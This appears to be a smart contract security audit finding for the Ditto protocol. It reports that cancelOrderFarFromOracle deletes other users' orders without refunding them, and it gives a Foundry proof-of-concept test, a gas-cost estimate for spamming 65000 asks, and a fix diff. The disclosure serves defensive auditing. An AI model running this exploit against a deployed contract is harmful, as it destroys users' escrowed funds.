Vulnerability Details
The cancelOrderFarFromOracle function fails to reimburse funds to the order creator upon cancellation and doesn't decrement the order id when orders get cancelled. Hence if once order id reaches 65000, an attacker can continously delete the last order how much ever times as wished, giving the ability to eventually delete all the orders.
function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 65000) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 1000) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
}
} else {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
}
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/facets/OrdersFacet.sol#L124-L177C10
function cancelOrder(
mapping(address => mapping(uint16 => STypes.Order)) storage orders,
address asset,
uint16 id
) internal {
uint16 prevHEAD = orders[asset][Constants.HEAD].prevId;
orders[asset][orders[asset][id].nextId].prevId = orders[asset][id].prevId;
orders[asset][orders[asset][id].prevId].nextId = orders[asset][id].nextId;
emit Events.CancelOrder(asset, id, orders[asset][id].orderType);
_reuseOrderIds(orders, asset, id, prevHEAD, O.Cancelled);
}
https://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/libraries/LibOrders.sol#L317-L335
Test Code
@@ -1,17 +1,19 @@
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
-import {U256, U88} from "contracts/libraries/PRBMathHelper.sol";
+import {U256, U88,U80} from "contracts/libraries/PRBMathHelper.sol";
import {Errors} from "contracts/libraries/Errors.sol";
import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
import {LibOrders} from "contracts/libraries/LibOrders.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
// import {console} from "contracts/libraries/console.sol";
+import {Constants, Vault} from "contracts/libraries/Constants.sol";
contract CancelOrderTest is OBFixture {
using U256 for uint256;
using U88 for uint88;
+ using U80 for uint80;
uint256 private startGas;
uint256 private gasUsed;
@@ -240,6 +242,59 @@ contract CancelOrderTest is OBFixture {
});
}
+ function test_OnceReached65000CanCancelInfiniteAndDoesntAccount() public {
+ uint80 price = type(uint80).max;
+ uint256 minAskEth = 0.001 ether;
+ uint88 minAskAmount = uint88((minAskEth * 1 ether) / price) + 1;
+ assertEq(price.mul(minAskAmount) > minAskEth,true);
+ assertEq(minAskAmount , 0.000000000827180613 ether);
+ assertEq(minAskAmount * 65000 , 0.000053766739845 ether );
+
+ vm.prank(owner);
+ testFacet.setOrderIdT(asset, 64995);
+
+ //a bid that will be cancelled without accounting by the attacker
+ fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
+ assertEq(getBids().length, 1);
+ assertEq(getBids()[0].addr, receiver);
+
+ depositUsd(extra, minAskAmount * 4);
+
+ //create 4 asks to reach 65000
+ for(uint i=0;i<4;i++){
+
+ MTypes.OrderHint[] memory orderHintArray =
+ diamond.getHintArray(asset, price, O.LimitAsk);
+
+ vm.prank(extra);
+ diamond.createAsk(asset, price, minAskAmount, Constants.LIMIT_ORDER, orderHintArray);
+ }
+
+ //delete 4 asks made by attacker
+ assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65000);
+ for(uint16 i=1;i<=4;i++){
+ vm.prank(extra);
+ diamond.cancelOrderFarFromOracle({
+ asset: asset,
+ orderType: O.LimitAsk,
+ lastOrderId: 65000 - i,
+ numOrdersToCancel: 1
+ });
+ }
+
+ //delete the bid
+ vm.prank(extra);
+ diamond.cancelOrderFarFromOracle({
+ asset: asset,
+ orderType: O.LimitBid,
+ lastOrderId: 64995,
+ numOrdersToCancel: 1});
+
+ //user doesn't get any funds returned
+ assertEq(getBids().length, 0);
+ assertEq(diamond.getVaultUserStruct(vault,receiver).ethEscrowed,0);
+ }
+
function testRevertMoreThan1000Orders() public {
vm.prank(owner);
testFacet.setOrderIdT(asset, 65000);
Even if the order id doesn't reach anywhere close to 65000, an exploit is possible depending on the attacker's ability to spend for gas fees (a calculation is attached below) and the time it would take for the project to react. Apart from causing grief to the user's and disrupting the protocol, certain market conditions might allow the attacker to even profit off the attack eventually. If the amount of pegged asset in the order-book is extremely high, an attacker might profit off by selling the pegged asset in a secondary market where demand could be generated by the shorters trying to obtain the pegged asset to close their debt and obtain their collateral worth 5x more back.
Apart from this an incorrect assumption is made that each order requires a minimum ETH amount when considering the possibility of order id reaching 65000 due to spam orders. Although creation of bids and shorts require a minimum amount of eth, asks can be created with a very low amount (0.000000000827180613 usd) of pegged asset by providing maximum value for price. The requirement for creation of asks is that:
uint256 eth = price.mul(ercAmount);
uint256 minAskEth = LibAsset.minAskEth(asset);
if (eth < minAskEth) revert Errors.OrderUnderMinimumSize();
if (s.assetUser[asset][msg.sender].ercEscrowed < ercAmount) {
revert Errors.InsufficientERCEscrowed();
}
Cost Calculation
Spam Orders Creation Cost:
Since the price is not capped, an attacker can provide price as type(uint80).max:
minAskEth = 0.001 * 1e18
price = type(uint80).max
ercAmount = (minAskEth * 1 ether) / price + 1 == 0.000000000827180613 usd
for 65000 orders = 0.000053766739845 usd
The attacker would have to spent the gas fees to create the ask order 65000 times at max. Calculating the required USD for the attack with some assumptions:
approximate gas single call (createAsk) : 83959
max gas required: 65000 * 83959 = 5457335000
ether price range : 1600usd - 2000usd
gas price range : 20gwei - 100gwei
usd cost range: 180092 - 1091467
To Cancel Orders:
approximate gas single call (GasCancelAskFarFromHead) : 40686
max gas required: 65000 * 40686 = 2644590000
ether price range : 1600usd - 2000usd
gas price range : 20gwei - 100gwei
usd cost range: 84626 - 528918
Hence an attack costing in the range 264718 - 1620385 USD would most likely be able to disrupt the entire project.
Impact
Users having an active order at present or in future will loose their funds
Recommendations
Reimburse funds on cancellation of orders. Since this function also fails to verify the order status before cancellation which leads to another exploit, it would be best to follow all the checks done for normal cancellation of orders.
@@ -59,6 +59,11 @@ contract OrdersFacet is Modifiers {
{
STypes.Order storage ask = s.asks[asset][id];
if (msg.sender != ask.addr) revert Errors.NotOwner();
+ _cancelAsk(asset, id);
+ }
+
+ function _cancelAsk(address asset, uint16 id) internal {
+ STypes.Order storage ask = s.asks[asset][id];
O orderType = ask.orderType;
if (orderType == O.Cancelled || orderType == O.Matched) {
revert Errors.NotActiveOrder();
@@ -165,7 +170,8 @@ contract OrdersFacet is Modifiers {
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
- s.asks.cancelOrder(asset, lastOrderId);
+ _cancelAsk(asset, lastOrderId);
+ // s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
Similar changes to bids and shorts
